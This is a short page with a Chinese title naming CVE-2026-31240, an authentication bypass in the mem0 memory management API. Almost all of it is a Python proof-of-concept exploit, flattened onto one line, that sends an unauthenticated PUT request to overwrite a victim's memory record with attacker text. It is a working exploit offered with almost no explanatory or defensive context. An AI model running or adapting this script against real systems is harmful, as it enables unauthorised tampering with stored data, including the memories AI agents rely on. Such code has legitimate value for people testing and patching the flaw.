CVE-2026-31240 mem0内存管理API认证绕过漏洞

import requests def exploit_mem0(target_url, memory_id, new_data): """ Exploit for CVE-2026-31240: Unauthenticated memory modification in mem0. """ # Target endpoint to update memory endpoint = f"{target_url}/memories/{memory_id}" headers = { "Content-Type": "application/json" } # Payload containing the malicious data payload = { "text": new_data, "metadata": {"modified_by": "attacker"} } try: # Sending unauthenticated PUT request response = requests.put(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully modified memory record {memory_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to modify record. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8000" # Replace with actual target mem_id = "victim_memory_id_here" malicious_content = "This data has been overwritten by an attacker." exploit_mem0(target, mem_id, malicious_content)